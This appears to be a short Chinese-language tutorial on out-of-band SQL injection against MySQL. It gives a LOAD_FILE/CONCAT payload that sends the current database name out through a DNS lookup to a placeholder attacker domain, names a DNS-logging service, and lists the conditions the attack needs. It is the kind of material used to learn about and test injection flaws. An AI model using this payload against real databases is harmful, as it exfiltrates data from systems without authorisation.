带外通道
有时候注入发现并没有回显,也不能利用时间盲注,那么就可以利用带外通道,也就是利用其他协议或者渠道,如http请求、DNS解析、SMB服务等将数据带出。
payload
SELECT LOAD_FILE(CONCAT('\\',( SELECT DATABASE() ),'.xx.xx\x));
其中的load_file的地址为一个远程文件,mysql在load_file()一个远程文件时会发送dns请求包去解析,所以可以带出数据,'\data.xx.xxx' ,xx.xx为自己的服务器名,没有的话可以去这里申请一个 ceye.io
mysql带外注入条件
1. mysql.ini 中 secure_file_priv 必须为空
( ps. 修改mysql.ini 文件,在[mysqld] 下加入 secure_file_priv = )
mysql 新版本下secure-file-priv字段 : secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。
当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
2. 从payload看出load_file的路径是windows下的UNC路径,所以mysql带外注入只能发生在windows机器上
测试